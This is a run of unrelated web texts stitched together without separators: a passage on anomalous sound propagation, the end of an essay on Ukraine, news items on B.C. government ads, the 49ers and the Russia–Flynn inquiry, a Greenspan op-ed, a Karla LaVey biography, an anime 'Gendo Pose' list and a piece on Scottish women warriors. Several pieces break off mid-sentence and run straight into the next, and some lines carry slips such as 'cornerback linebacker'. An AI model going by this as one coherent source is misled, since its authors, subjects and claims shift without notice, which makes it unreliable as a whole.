An apparently different phenomenon was first noticed in 1666, during an engagement of the English and Dutch fleets in the Channel on 1 June. The sounds of the guns were heard in London, but not on the South Downs, Deal or Dover, all points between the battle and London. This was recorded in the diaries of John Evelyn and Samuel Pepys as a remarkable occurrence, that the winds brought to them the noise of the guns, but not to the people in between. In 1904 a large explosion at Förde in western Germany was accompanied by similar results. There was a small area in which the sound arrived directly, then a zone of silence, and finally the sound was heard again, at a distance of 100 to 200 km from its source. G. von der Borne explained this as the return of an acoustic wave reflected from a hydrogen or helium zone in the upper atmosphere, and he was supported by van Everdingen, who observed large explosions in the early stages of the World War. It was remarked that the noise of guns firing in Flanders could often be heard in the east of England, especially in the summer, but rarely in winter. When explosions were later made for the explicit purpose of investigating this effect, it was found that the apparent time of propagation showed that the waves reaching the zone of abnormal audibility had travelled on a path considerably longer than the direct one. It became clear that the sound was being reflected in the upper atmosphere.
A munitions factory at Silvertown, an industrial area in the East London Docks on the north bank of the Thames, exploded in January 1917. It could be heard in an elliptical area with a major axis of about 150 km in the NW-SE direction, and a minor axis of about 50 km, centred on the site of the explosion. This is the zone of normal audibility. Beyond, in the zone of silence, the explosion was not heard. About 120 km to the northeast, in Lincolnshire and Norfolk, the explosion was again heard, in a similar but somewhat larger elliptical area, the zone of anomalous audibility. In this region, the report was multiple, consisting of two or more bangs at brief intervals, a consequence of multiple paths.
Reports of strange sounds seem to be very much rarer now, and it is possible that they are being ignored in these noisy times. While rocking gently at anchor on a dark, still night on the Bay of Bengal, such booms will attract attention, but in a noisy city they would never be regarded. Since there are so many sources of bangs and booms in modern times, an odd bang from a great distance would never be recognized. Even in the past reports, the unusual sounds were normally thought to arise in the vicinity. I think it possible that the Barisal guns, and similar phenomena, are the sounds of thunder carried by anomalous propagation over several hundred kilometers to the points where they are heard. In many cases, the sound is described as much like thunder, and to come from the direction of the horizon, with no apparent source, and often in multiple, all of which is characteristic of noises heard by anomalous propagation.
Anomalous Sound Propagation
Very little was known about the upper atmosphere in the years immediately following the World War. The lapse rate in the troposphere was well known from balloon and aircraft ascents. The stratosphere had been discovered by Teisserenc de Bort in 1899, and the tropopause located at an altitude of 10 or 12 km. It was thought that each atmospheric constituent was then distributed independently according to its molecular weight, so that eventually, above about 100 km, the lighter gases, hydrogen and helium, would predominate. This was the basis for von der Borne's explanation of the return of sound to the ground. This explanation was attacked on the ground that the very low atmospheric pressure at high levels would remove most of the energy from the sound wave. Erwin Schrödinger showed that this was not the case, since the amplitude of motion would increase to maintain the energy of the wave, although there would be absorption, as predicted by Rayleigh. However, the altitude required was much too high to transmit sound without excessive attenuation, and so there was still a difficulty.
In 1922, Lindemann and Dobson published results from meteor observations that suggested a temperature of 300K at a height of 60 km. If the temperature was this high at such a reasonable altitude for sound propagation, then a good explanation of anomalous propagation was at hand, avoiding the difficulties with hydrogen and helium. It was not yet known that the photochemical production of ozone created a temperature maximum in the upper atmosphere that was comparable to ground-level temperatures. If θ is the angle that a sound ray makes with the horizontal, and c(z) is the speed of sound at altitude z, then the quantity cos θ/c(z) = constant, from the usual law of refraction. Then, if θ is the inclination of the ray at z = 0, the ray will be reflected at an altitude z such that cos θ/c(0) = 1/c(z), or c(z) = c(0) cos θ. For small angles θ, c(z) does not have to be much larger than c(0).
An additional effect is also important. As far as returning a wave to the ground, the velocity of the wind in the direction of propagation can be added to the velocity relative to the air. Since the temperature maximum is indeed about equal to the ground temperature, a wind in the direction of propagation will encourage return to the ground, while a contrary wind will oppose it. It was, indeed, found that in the winter, when the stratospheric winds were westerly in Europe, there was a zone of anomalous audibility to the east, but none to the west. In the summer, when the winds were reversed, the zone of audibility was moved to the west. On occasion, a second zone of silence and a second zone of anomalous audibility were observed, the sound making a double skip. Surface winds will have no strong effect, except in the launching of the wave.
At the time, there was no way of investigating the upper atmosphere directly. Balloons could only ascend to the stratosphere. Therefore, anomalous propagation of sound became of great interest as a means of probing the upper atmosphere. In 1923, a series of large explosions was set off from La Courtine in central France. These were the first experiments in which accurate time measurements were possible. By analyzing the results, Whipple found that the top of the stratosphere was at 32 km, and that the temperature increased to the value at the ground, 290K, at 46 km. He assumed a stratospheric temperature of 210K.
The present-day standard atmosphere has a ground temperature of 288K, stratospheric temperature 217K at 12 km, with an increase beginning at 25 km, and a maximum temperature of 283K at 50 km. It is clear that Whipple's results are very close to the truth. They were the very first good measurements of temperatures in the upper atmosphere. Whipple carried out further experiments with gunfire. A gun at Shoeburyness could be heard at Grantham, 185 km away to the north. Guns were fired from three points just east of London, and sounds were received at Birmingham, Bristol, Cardiff, Nottingham, Exeter and North Walsham, using hot-wire microphones. An array of three microphones, with accurate time measurements, allowed the determination of the angle of incidence. Experiments were carried out in December, 1932 with four explosions at Oldebroek in Holland, showing the expected zone of audibility to the east, and none to the west.
At 50 km, a typical temperature is 283K, pressure 0.66 mmHg or 0.88 mb, density 1.1 g/m3, molecular weight 28.966 (same as at ground level), number density 2.25 x 1022 m-3, collision frequency 6.06 x 106 s-1, mean free path 75 μm, and speed of sound 337 m/s. Ionization is negligible, since 50 km is well below the D level of the ionosphere. Sound propagates quite successfully under these conditions. Above 50 km, the temperature again decreases, goes through a minimum, and then increases steadily. Ground level temperature is attained again at about 110 km altitude, but here the mean free path is |
I have seen about popular opinion of NATO in Bulgaria—the country of which I am a citizen—indicate that a significant majority disapproves of Bulgaria’s membership in the organization, which is why such a referendum has never been held. It is perfectly possible, of course, that Russia’s intervention in Ukraine would make NATO membership a much more popular cause than it has been until now.
Resisting great-power domination and intervention, whether Western or Russian, and fighting the far right, whether Ukrainian nationalist or Russian nationalist, constitute the basis of democratic politics in today’s Ukraine. Not all threats are of course equal in size, difficult distinctions must be made, and priorities ultimately decided upon. Broad coalitions, hence, compromises, are necessary for most victories. Such strategic considerations go beyond the scope of this piece. What it has tried to do is to establish a certain minimum for scholarly decency, namely, that neither of these particular forces in particular–the far right and imperialism, from whichever side–should ever be entertained as a possible ally to be treated with tolerance, understanding, and restraint.
Finally, lest this text be taken as a call for some Weberian objectivity and academic neutrality: the moment is urgent and sides need to be taken. (I, too, have taken sides although “side” may not be the most accurate description of the internally split and marginal Ukrainian left, which has been unable to form a pole independent of the main antagonists of the day.) Mistakes will definitely be made as scholars engage reality; the only way not to make them and remain perfect is not to say or do anything. Especially now, however, in the aftermath of Russia’s de facto occupation of Crimea, the demands for a certain minimum of political hygiene and scholarly honesty are ever greater.Days after two Vancouver lawyers announced they were suing the B.C. government over taxpayer-funded ads, the auditor general's office says there has been no follow-up to a report they issued on the topic in 2014.
"We haven't followed up on the report yet," said deputy auditor general Russ Jones on Tuesday.
"I know there has been something put in the policy manual of government — a separate chapter on advertising — but we haven't looked at it," he said.
In 2014, the B.C. auditor general reviewed government advertising and recommended that a policy prohibiting partisan advertising be established.
On the Coast host Gloria Macarenko asked Jones if there was a timeline, with 2017 being an election year.
Jones said that his office plans to follow-up in the future.
"What we normally do with our follow-ups is we wait a couple of years before we actually go back in and take a look at whether they'd been implemented or not," he said. "Sometimes they get done immediately, or sometimes they take a bit longer."
Blurred lines
Jones said that while it's important for the government to inform the public about their services, so people can take advantage of them, the line between partisan and non-partisan is difficult to establish.
Jones also noted that policies and guidelines are less concrete than legislation. In Ontario, for instance, political ads must be vetted by the auditor general.
But he said that wasn't necessary for British Columbia.
"It takes an awful lot of time for the auditor general [in Ontario] to take a look at every single advertisement before it goes out," he said.
Jones would rather see the government produce clear policies and guidelines regarding political advertisement, then monitor for adherence to those.
In any election year, Jones said he'd pay extra attention to ads that contain budget promises that aren't actually programs yet.
"I would imagine the auditor general will speak to [the B.C. government] before the election," he said.
With files from CBC Radio One's On the Coast.It's been quite a spectacle for those who have followed Alan Greenspan's career for decades. Gone is the financial rock star or even the statesman testifying before Congress in a measured baritone. Instead, over the past several months, Alan Greenspan has morphed into a totally new person.
The first incarnation was the shaken Greenspan who was stunned that greedy and reckless short-term behavior could overwhelm long-term, rational self-interest. That was rather amazing all by itself. But now, there's a newer Greenspan--a decidedly prickly and whiny one.
I'm talking about Greenspan's recent op-ed in The Wall Street Journal. A 1,500-word attempt to move blame for the financial crisis away from himself and onto... China.
It was, writes Greenspan, Chinese growth that led to "an excess" of global savings. That growth kept long-term interest rates low, which fueled the housing bubble. As for himself, the lowly chairperson of the Fed, he says he was helpless. He only had control over short-term rates.
Why this recent incarnation as a self-pitying victim of historical forces? Most likely, it's because of John Taylor, a mild-mannered professor at Stanford and former colleague of Greenspan's at the Fed.
In his Getting Off Track, a nifty little book, Taylor exposes, as plain as day, the culprit behind the financial boom-bust: Greenspan. His weapon of choice is the "Taylor rule" (discovered by Taylor--but not named by him, as he modestly points out.) (The Taylor rule is a recommendation about how the Fed should set the short interest rate--suggesting the amount it should be changed given economic conditions.)
Here's Taylor's take. Short interest rates fell in 2001 in response to the dot-com bust. But--and here's the important moment--beginning in 2002, the Taylor rule indicated that Greenspan ought to have tightened. Indeed, from 2002 to 2005, rates ought to have climbed to a touch over 5% and then stayed there through 2006.
But the Fed kept to a loose monetary stance, and rates kept falling during the period 2002 through 2004. Rates didn't start back up until middle of 2004 and didn't reach 5% until 2006. You can check this out in Figure 1, below.
The result? The Greenspan Loose policy went on to fuel a boom, while the Taylor Tight would have avoided one. As Taylor says, all the Fed needed to do was follow "... the kind of policy that had worked well during the period of economic stability called the Great Moderation, which began in the early 1980s."
The connection between Greenspan Loose and the housing boom is also clear. Housing starts took a sharp spike up in 2003 and then continued to climb through 2006. If the Fed had followed Taylor Tight, however, housing starts would have peaked at a much lower level at the end of 2003, and drifted down through 2006.
What about Greenspan's argument that he only controlled short-term rates? And that short rates became decoupled from long-term rates in 2002?
Nonsense, says Taylor. Surely the existence of adjustable-rate mortgages (accounting for about one-third of mortgages starting in 2003) linked the mortgage market and short-term rates. Moreover, says Taylor, whatever minor decoupling occurred, happened because bond investors were flummoxed by the Fed's odd behavior.
Taylor also takes on Greenspan's excuse that he was helpless in the face of a global saving glut. Cutting off the feet of Greenspan's excuse, Taylor says there wasn't a glut, there was a shortage. Figures from the International Monetary Fund show global saving rates, as a share of world GDP, were low during 2002 to 2004--way lower than rates in the 1970s and 1980s. In fact, the global saving rate fell at the end of 1990s, hitting bottom about 2003.
Greenspan's monetary excess was also crucial in setting off a chain of bad government policies. As Taylor argues, Greenspan Loose was amplified by the popularity of subprime mortgages, especially adjustable-rates, which promoted risk taking. And it made for a lethal brew in a pot of policies to promote homeownership.
Greenspan pulls out many stops in his defense. He even quotes the great Milton Friedman's approving assessment of Fed policy between 1987 and 2005. Well, Friedman died in 2006 and, in 2009, his equally great colleague, Anna Schwartz, has this to say: "There never would have been a subprime mortgage crisis if the Fed had been alert. This is something Alan Greenspan must answer for." As for Greenspan's argument that the whole mess is China's fault, she says tartly: "This attempt to exculpate himself is not convincing. The Fed failed to confront something that was evident. It can't be blamed on global events."
As fine a last word as there could be.
Susan Lee has written several books on economics, including a college text. She is an economics commentator for NPR's "Marketplace" and writes a weekly column for Forbes.Karla Maritza LaVey (born 1952) is an American radio host, former high priestess of the Church of Satan and founder and administrator of the First Satanic Church in San Francisco, California. Karla has been featured on television, radio, in news and magazine articles, including Fox News.[2] She has lectured on the subject of Satanism around the world. She can be seen in the films Satanis: The Devil's Mass, Witchcraft 70, and Speak of the Devil. She is the eldest daughter of Anton LaVey.
Biography [ edit ]
Karla was born to Carole Lansing and Anton LaVey. She has two half siblings, Zeena Schreck and Satan Xerxes Carnacki LaVey.[4] She founded the First Satanic Church headquartered in San Francisco in 1999. She was a founding member of her father's Church of Satan, and acted as a public representative for both the church and her father for the better part of four decades. In the 1970s, she was very close friends with Alice Cooper, whom she later introduced to her father.
In 1979, Karla was dispatched to Amsterdam to oversee the International Church of Satan headquarters[5] which acted as a liaison to its members overseas. During this time, Karla was given the title High Priestess of the Church of Satan, which she would occasionally use in interviews with print media and her lecture tours. Throughout the 1980s and 1990s, Karla made numerous appearances on television combating the Satanic Panic that seemed so prevalent for that time. Some of her appearances included the Joan Rivers Show, Ron Reagan Show, 20/20, and 60 Minutes.
On October 29, 1997, Anton LaVey, Karla's father, died of pulmonary edema. On November 7, 1997, Karla held a press conference to announce Anton's death. It was at this time that Blanche Barton and Karla LaVey announced that they would run the Church of Satan as co-high priestesses. Several days later, Barton produced a hand written will claiming that LaVey had left all of his belongings, property, writings, and royalties, including the Church of Satan, to be put in a trust managed by Barton. Karla contested this will, which later was found to be invalid. A settlement was later reached in which Anton's belongings, writings, and royalties would be split among his three children and that Barton would receive the "corporation known as Church of Satan". Karla then decided to continue with her father's work by organizing the First Satanic Church and running it out of San Francisco just as her father had. The Church of Satan, under the leadership of Blanche Barton, was later moved to New York City.
Currently, Karla LaVey promotes and sponsors live Satanic events, shows and concerts. She also hosts a weekly radio show in San Francisco.“ Who is this guy? He looks like some kind of evil ambassador. „
The classic pose.
Did someone just say "Gendo Pose?"
The purpose of this page is to list occurences of Gendo Pose (also known as Ambassador Pose) in other anime and manga; other types of Gendo lookalikes may also be included at editors' discretion.
While it started out as an offshoot of Tributes to Evangelion, this page is not concerned with whether or not these findings are related to Evangelion in any way. Although it includes all the poses mentioned in Tributes and considered to be genuine nods to Evangelion - these are usually from shows that also contain other, more obvious references - chances are most of the poses here are entirely unrelated to it. Gainax didn't invent the pose, and some of the shows here, such as Detonator Orgun, are indeed older than Evangelion. Folding one's hands in front of one's face as a sign of deep thoughts and/or cunning plans appears to be a rather common character design trope in anime. Gendo simply is the most profilic member of this vast family of posers, and this page exists simply for cheap laughs.
So, without further ado, enjoy the bestiary.
The Gendo Pose Combattler V (1976) The Pose: way older than Evangelion. Hyouma Aoi from(1976) Cosplay Complex Gourou, the president of the cosplay club, from Detonator Orgun Director Foreston from El Hazard: The Alternative World Gilda from Excel Saga Producer Kitayama from Excel Saga Rikdo Koshi, Miami Guns (opening animation) Yao's father from(opening animation) Yao's Father again (episode 7) Pani Poni Dash Becky from Shakugan No Shana Dantalion from You're Under Arrest (first TV series) Chief Kachou from(first TV series) Sol Bianca: The Legacy Rammy from Dai-Guard Chief Oosugi from Read or Die Mr. Joker from Macross 7 Miria Jenius from Tenchi Muyo GXP Airi Masaki from Mobile Suit Gundam: The 08th MS Team Shiro Amada from Mobile Suit Gundam: Journey to Jaburo. Gihren Zabi from the video game Victory Gundam Chronicle Asher from Gundam Wing Zechs Merquise from Gundam Wing cannon fodder Randomcannon fodder Gundam X Fixx Bloodman from Gundam 00 Sergei Smirnov from Gundam 00 AEU politicians from Gundam SEED Destiny Gilbert Durandal from Aquarion (TV series) Gen Fudo from(TV series) Gravion The president of the Allied Governments from Baccano! Huey Laforet from Blood+ Random American military commander from Macademi Wasshoi Eneus(as Fuyutsuki) and Eitarou Sakuma(as Gendo), from
The Gendo Pose (cont'd) Attack on Titan Hanji from Fruits Basket (on the right) displaying a variant of the pose, in which the fingers are not interlocked. (Gendo himself displayed this variant many times.) Sohma Yuki from(on the right) displaying a variant of the pose, in which the fingers are not interlocked. (Gendo himself displayed this variant many times.) Puella Magi Madoka Magica: Rebellion Akemi Homura from WataMote Kuroki Tomoki from Shimoneta: A Boring World without the Concept of Dirty Jokes displaying a lovely Gendo, in what is almost certainly an intentional NGE reference. (Especially when you consider that he raised a Rei expy to protect his daughter, and has been manipulating events from behind the scenes for the whole duration of the series. He's smiling in another cut in the same episode because his plans have finally come to a head.) Nishikinomiya Matsukage fromdisplaying a lovely Gendo, in what is almost certainly an intentional NGE reference. (Especially when you consider that he raised a Rei expy to protect his daughter, and has been manipulating events from behind the scenes for the whole duration of the series. He's smiling in another cut in the same episode because his plans have finally come to a head.) Karakai Jōzu no Takagi-san (Skilled Teaser Takagi-san), an anime that began airing in January 2018. Nishikata from(Skilled Teaser Takagi-san), an anime that began airing in January 2018. Wotakoi (Love is Hard for Otaku). They never say Gendo, but the scene plays the beginning drum beats of "Decisive Battle" while showing this, and they call out the guy on the left as being the "Fuyutsuki." Characters from(Love is Hard for Otaku). They never say Gendo, but the scene plays the beginning drum beats of "" while showing this, and they call out the guy on the left as being the "Fuyutsuki." Ouran High School Host Club, displaying a Gendo-like pose. Tamaki Suoh's father, from, displaying a Gendo-like pose. Food Wars (食戟のソーマ Shokugeki no Sōma) displaying the Gendo pose, glasses included. Minor character from(食戟のソーマ) displaying the Gendo pose, glasses included. Robotics;Notes displaying the Gendo Pose, with a Fuyutsuki stand-in. Character fromdisplaying the Gendo Pose, with a Fuyutsuki stand-in. Darling in the FranXX, displaying a strong Gendo Pose (in addition to the similarities of their roles in the plot), with a Fuyutsuki stand-in next to him. Dr. FranXX, from, displaying a strong Gendo Pose (in addition to the similarities of their roles in the plot), with a Fuyutsuki stand-in next to him. Yu-Gi-Oh!, with an impressive Gendo (I'd give it a 7/10). He happens to be a bit of a schemer as well, so that works. Seto Kaiba, from, with an impressive Gendo (I'd give it a 7/10). He happens to be a bit of a schemer as well, so that works. No Game No Life, with a lovely Gendo. His hair is actually somewhat darker in this shot than appears to be the norm, and I don't believe he usually wears glasses either. Seems to be a completely intentional reference. 10/10. Sora, from, with a lovely Gendo. His hair is actually somewhat darker in this shot than appears to be the norm, and I don't believe he usually wears glasses either. Seems to be a completely intentional reference. 10/10. Bureau of Proto-Society, from Anno's Animator Expo. Considering Gainax staff's penchant for self-reference, and the character's role as essentially a member of a SEELE-equivalent, if this isn't an intentional reference... well, I'd be very surprised. 11/10. A member of the council that manages human affairs in the short, from Anno's Animator Expo. Considering Gainax staff's penchant for self-reference, and the character's role as essentially a member of a SEELE-equivalent, if this isn't an intentional reference... well, I'd be very surprised. 11/10. Sayonara Zetsubou Sensei, depicting UCC coffee cans with a silhouetted Gendo Pose on them (as well as a clear reference in the dialogue shown here). Screenshot from, depicting UCC coffee cans with a silhouetted Gendo Pose on them (as well as a clear reference in the dialogue shown here). Yamada-kun and the Seven Witches. He is the student council president, who plans to use the powers of the eponymous witches of the show to engineer an Instrumentality-esque ending in which he can achieve his wish (the which Instrumentality ending is stolen by the protagonist, Yamada-kun). He pushes his glasses up as well, after this shot, only increasing the Gendo similarities. Haruma Yamazaki, from. He is the student council president, who plans to use the powers of the eponymous witches of the show to engineer an Instrumentality-esque ending in which he can achieve his wish (the which Instrumentality ending is stolen by the protagonist, Yamada-kun). He pushes his glasses up as well, after this shot, only increasing the Gendo similarities. Monogatari. He's a bit of a schemer himself, so the pose definitely fits. Deishuu Kaiki, from. He's a bit of a schemer himself, so the pose definitely fits. One Piece. Nami from Mahoromatic, with Gendo Pose/hair/glasses... yeah. Don't need to say any more here, do we? Subcommander Gunji from, with Gendo Pose/hair/glasses... yeah. Don't need to say any more here, do we? A Certain Scientific Railgun S, posing with flashing glasses. Aritomi Haruki, of the secret organization "STUDY", from, posing with flashing glasses. Fate/Zero, doing teh pose. Kotomine Kirei, the main antagonist (among many) of, doing teh pose. Fullmetal Alchemist: Brotherhood. Roy Mustang, the "Flame Alchemist", of Kill La Kill episode 13 exhibiting the Gendo Pose, along with some very Eva-esque dialogue. Sasuga Imaishi. (Dialogue: "No, it's me that I'm afraid of.") Matoi Ryuuko, fromepisode 13 exhibiting the Gendo Pose, along with some very Eva-esque dialogue. Sasuga Imaishi. (Dialogue: "No, it's me that I'm afraid of.") Mob Psycho 100. Here he is in episode 3, doing the pose while conning someone into paying for a fraudulent exorcism. Likely an effort to seem cool and experienced. Reigen Arataka, from. Here he is in episode 3, doing the pose while conning someone into paying for a fraudulent exorcism. Likely an effort to seem cool and experienced.
Bizarro multipart entries etc. that require longer descriptions go here.
Astro Plan
Ain't Gendo without the pose
A Chinese animated show that rather blatantly rips off Macross and Gundam. It has a Gendo clone for a starship captain, fusing Gendo's looks with Lelouche's sweeping hand gestures. Although this guy might have made the classic Gendo pose at least once in the show, it's hard to even be sure given just how ridiculously choppy and cheap the animation is. It just goes to show how important the pose is to Gendo - the glasses, the face and the beard need the pose as part of a foursome.
Death Note
Roger being shockingly cool
Considering the nature of the series, it's not very surprising that Death Note features tons of characters doing the pose. The posers include:
Light Yagami
Soichiro Yagami
Chief Kitamura
Takeshi and Hatori, from the Yotsuba Group
Roger Ruvie, the superindend at Wammy's House
Aizawa
Two handsome devils
Chief Kitamura
Hellsing Ultimate
Hellsing is a series full of crazy, scheming bastards, who all seem to love the pose. Glowing glasses and stylish gloves add to the fabulousness.
Integra Hellsing, manlier than most men
"Gentlemen, I like war."
Nadia : The Secret of Blue Water
The villain Gargoyle from Nadia : The Secret of Blue Water (also directed by Hideaki Anno) does the Gendo pose. Also worthy of note is that he's voiced by Fuyutsuki's voice actor (Motomu Kiyokawa) and apparently shares Fuyutsuki's facial features under that mask (from the very brief glimpse we get). Bonus points for being polite, cultured and having a very distinctive style of his own while being a magnificent bastard par excellence.
"Please allow me to introduce myself, I'm an Atlantean of wealth and taste..."
Zipang
Zipang, a WWII time travel anime made in 2004, features a truly mind-boggling variant of the pose, courtesy of captain Umezu.San Francisco 49ers cornerback linebacker Patrick Willis (hamstring) and cornerback Carlos Rogers (knee) were both listed as questionable on Friday's injury report, potentially leaving San Francisco without two key defenders for Sunday's divisional matchup.
While Rogers was limited for a second straight day, Willis' was unable to practice this week, leaving his status in serious doubt for Sunday's game at Arizona.
Wide receiver Braylon Edwards, who sat out last week's victory over St. Louis with shoulder and knee injuries, was also listed as questionable but is expected to play Sunday, according to the San Francisco Chronicle.
The 49ers have been evasive on the severity of Willis' injury, with coach Jim Harbaugh refusing to elaborate on an MRI exam several times Wednesday by saying, "Wouldn't share any information about it."
Willis is the leader of the 49ers' top-ranked run defense, which helped clinch the NFC West title last weekend with a 26-0 rout of the Rams.
For a complete look at all injuries around the league, visit NFL.com's injuries page.A new report says U.S. intelligence services obtained information during the 2016 presidential election that showed senior Russian officials discussing how to influence Donald Trump through his campaign advisers.
That's according to The New York Times, which cites three current and former American officials. The report Wednesday says the Russians zeroed in on Trump campaign chairman Paul Manafort and Michael Flynn, a former head of U.S. military intelligence who was a key Trump campaign adviser.
The report says the Russian officials thought Manafort and Flynn could be used to influence Trump's views on Russia. The Times says some of the officials bragged about ties to Flynn. Others thought they could use Manafort's association with former Ukrainian President Viktor Yanukovych, who led a pro-Russian political party, to their advantage.
Meanwhile, subpoenas for Flynn piled up Wednesday as the House intelligence committee pressured Flynn to cooperate with its investigation into Russia's meddling in the 2016 presidential election.
The prospect of new congressional subpoenas came one day after the committee's Senate counterpart served its own subpoenas to Flynn's businesses. The FBI also faced a deadline Wednesday to turn over memos written by former FBI Director James Comey detailing his discussions with Trump. One memo reportedly shows Trump pressuring Comey to shut down the bureau's investigation into Flynn's Russia ties.
Also on Wednesday, former Trump campaign foreign policy adviser Carter Page told The Associated Press he will testify next month before the House intelligence committee.
A day earlier, former CIA Director John Brennan told a House committee that he had seen intelligence that "revealed contacts and interactions" between Russian officials and Americans "involved" in the Trump campaign — a cause for concern in case the Russians could get the Americans to cooperate.
During a breakfast Wednesday, Rep. Adam Schiff of California, the House intelligence committee's top Democrat, told reporters that Flynn declined to turn over records to the committee, and he said it will be "following up with subpoenas." Schiff said the subpoenas will likely go out this week. He did not elaborate on what materials the committee was seeking.
The attempts to compel Flynn to produce documents were just another sign of the intense focus on Trump's former national security adviser, who was fired in February after the White House said he misled administration officials, including Vice President Mike Pence, about his contacts with Russian officials.
In addition to the congressional scrutiny, Flynn is currently a target of an FBI counterintelligence investigation, a federal probe in Virginia and a Defense Department inspector general's inquiry into the propriety of foreign payments he accepted.
In a letter to the Senate committee on Monday, Flynn invoked his Fifth Amendment protection from self-incrimination in deflecting the panel's subpoena for a wide array of documents and information related to his contacts with Russians.
Flynn's attorneys argued that the Senate's request was too broad, and if Flynn were to comply, he could be confirming the existence of some documents and, in effect, providing testimony that could be used against him. They also said an "escalating public frenzy" against Flynn and the appointment of a special counsel had created a legally perilous environment for Flynn to provide the information.
In response, the Senate intelligence committee on Tuesday sent a letter narrowing its request for documents. It also issued subpoenas seeking documents from two of Flynn's businesses— Flynn Intel Group Inc., a consulting firm owned by Flynn and his business partners, and Flynn Intel Group LLC, a company he used for other projects, such as his paid speeches.
Flynn could choose to contest the congressional subpoenas seeking his business records, but legal experts said he would not prevail.
Solomon L. Wisenberg, a Washington defense lawyer who worked as a prosecutor during the Starr investigation of President Bill Clinton, said both of Flynn's corporate structures would likely have to turn over all business records sought by the committee. "The Fifth Amendment privilege does not apply to business entities, period," he said, adding that both Supreme Court and District of Columbia Circuit Court rulings would weigh on the committee's side.
If the FBI misses its deadline to turn over memos and other materials documenting Comey's interactions with the president, Rep. Jason Chaffetz, R-Utah, has said he would subpoena them, if necessary. Chaffetz is the chairman of the House government oversight committee.
The FBI declined comment.
Meanwhile, Page said Wednesday that details are still being worked out about his testimony before the House intelligence committee next month. Page said he expects to testify sometime during the week of June 6 and wants at least part of his testimony to be public. ABC News first reported Page's planned testimony.
Page is one of several people associated with Trump's campaign who are under investigation over their ties to Russia. Page has denied any involvement in Russian attempts to influence the election.MEN may have written the history books, but these women made their mark during war and peace with feats of physical brilliance, bravery and pure cunning.
Queen Scathach of Skye
A depiction of Lady Agnes Randolph - also known as Black Agnes. PIC WikiCommons
A mythical warrior queen from Skye whose marital arts skills and battle yells were in hot demand around 200 BC.
She took her place in the Ulster Cycle of Irish Mythology following her training of the Ulster hero Cúchulainn, after whom, it is said, the Cuillin on Skye are named.
He sought out Scathach after his future father-in-law made it a condition he became a fully trained warrior before taking his daughter’s hand in marriage.
It is claimed Scáthach would train only those young warriors already skilled and brave enough to penetrate the many defences of her fortress. It is also said she sexually educated her pupils and had a gift of prophecy.
A brawling, boisterous Scottish wench. A description of Lady Agnes Randolph - also known as Black Agnes.
Cuchulainn travelled to Dun Scaith - which translates as Castle of Shadows - to fall under Scathach’s tutelage.
Legend goes that he helped Scathach overcome a neighbouring female chieftain, Aoife, who is also described in some accounts as the queen’s warrior sister.
Lady Christian (Christina) Bruce
Lady Christian Bruce (1273-1357) was the older sister of Robert the Bruce and played an active role in the Wars of Independence, leading the defence of an Aberdeenshire castle against English forces.
Margaret Ann Bulkley - who lived her life as successful military surgeon Dr James Barry
Her third marriage was to Sir Andrew Murray, appointed Guardian of Scotland in 1329.
Sir Andrew was central to the second War of Independence against Edward III, who wanted to install Edward Balliol on the Scottish throne.
In 1335, English forces besieged Kildrummy Castle in Aberdeenshire - with the defence commanded by Lady Christina.
She held out until forces, led by her husband, could march north and defeat the English, led by David de Strathbogie, Earl of Atholl, at the Battle of Culblean on November 30.
READ MORE: Half Hangit Maggie: The Scots woman who survived hanging
Countess Kathrine Beaumont
Following the death of the Earl of Atholl at Culbean (see above) it turned to his wife Kathrine Beaumont to defend the campaign to put Balliol on the throne
It is said she “stoutly defended” Lochindorb Castle, the family seat which sits in a freshwater loch near Grantown-on Spey, for some eight months before her rescue by Edward III’s forces.
Lady Agnes Randolph - Black Agnes
On 13 January 1338, English forces arrived at the gates of Dunbar Castle near the fallen town of Berwick but could not have forseen an encounter with Lady Agnes Randolp, also known as Black Agnes. A five-month stand off at the East Lothian pile was to follow.
Lady Agnes Randolph, whose father was a nephew of Robert the Bruce, was in charge of the caste while her husband Patrick Dunbar, Earl of Dunbar and March, was fighting English forces in the north.
On a request to surrender, it is claimed Black Agnes, so-called due to her hair colour, said: ‘Of Scotland’s King I haud my house, He pays me meat and fee, And I will keep my gude auld house, While my house will keep me.’
The Earl of Salisbury, the English commander, is said to have opened the siege by lobbing rocks at the castle walls using catapults.
The story goes that Lady Agnes sent out her maids in full view of the English to dust the walls with laced handkerchiefs.
Salisbury is said to have then deployed a huge battering ram or ‘sow’ but Agnes responded by dispatching boulders onto the weapon’s wooden cover, threatening the soldiers underneath.
AS the siege got underway, John Randolph, 3rd Earl of Moray, and Agnes’ brother, was captured and brought to Dunbar.
Salisbury threatened to hang him if there was no surrender. Lady Agnes called his bluff, pointing out she would solely benefit from her brother’s title and lands if he was to be killed.
The brother was spared and a truce was agreed on June 10 1338.
Black Agnes was later immortalised in a song as a “brawling, boisterous Scottish wench”.
READ MORE: The lives of eight incredible Scottish women
Lady Anne Farquharson- Mackintosh - Colonel Anne
Lady Anne Farquharson- Mackintosh remained staunchly loyal to the Jacobite cause despite her husband, Angus Mackintosh, being captain of the the Black Watch, the Government force first raised to police the Highlands following the 1715 uprising and then to fight the rebels during the ‘45.
When Bonnie Prince Charlie raised the standard at Glenfinnan, it is said that Lady Anne led efforts to raise 350 Farquharson and Mackintoshes to fight with the Jacobite Army.
One account describes her as “dressed in a semi-masculine riding habit of tartan trimmed with lace, with a blue bonnet on her head and pistols a her saddle-bow, kindling enthusiasm for the Prince’s cause wherever she went”.
She is believed to be the only woman on record to have raised a clan. While she never led fighters into battle, Lady Anne handed the troops to her cousin, MacGillivray of Dunmaglass, to mobilise.
Captain Mackintosh was captured following his defat at the Battle of Prestonpans and later released into the custody of his wife.
When the couple met, she greeted him with the words, “Your servant, Captain” to which he replied, “your servant, Colonel”.
Following Culloden, Lady Anne was arrested and held at Inverness Castle for six weeks and then released without charge into her husband’s custody.
The two are said to have led a contented married life, despite their political differences.
Margaret Ann Bulkley - Dr James Barry
Dr Barry was a graduate of Edinburgh University and became a successful British Army surgeon in India and Cape Town.
After he died, it was revealed that Dr Barry was a woman - born Margaret Ann Bulkley - whose family had come up with an elaborate plot to get her into medical school.
Margaret Bulkley arrived in Edinburgh as ‘James Barry’ and graduated in 1812. She joined the army as a surgeon in 1813 the following year and was credited with improving hygiene and reorganing medical care while in the field.
It is said that her methods of nursing sick and wounded soldiers from the Crimea meant that she had the highest recovery rate of the whole war. She also performed one of the first successful Caesarean sections, in 1826, and produced a definitive report on cholera in Malta in 1848.
Bulkley ultimately rose to the position of Inspector General in charge of military hospitals.
She died of dysentery in 1865 and it is then that her true identity was revealed. The woman who laid out her body revealed that, although she had spent 46 years as a man in the British Army, ‘James Barry’ was indeed a woman.
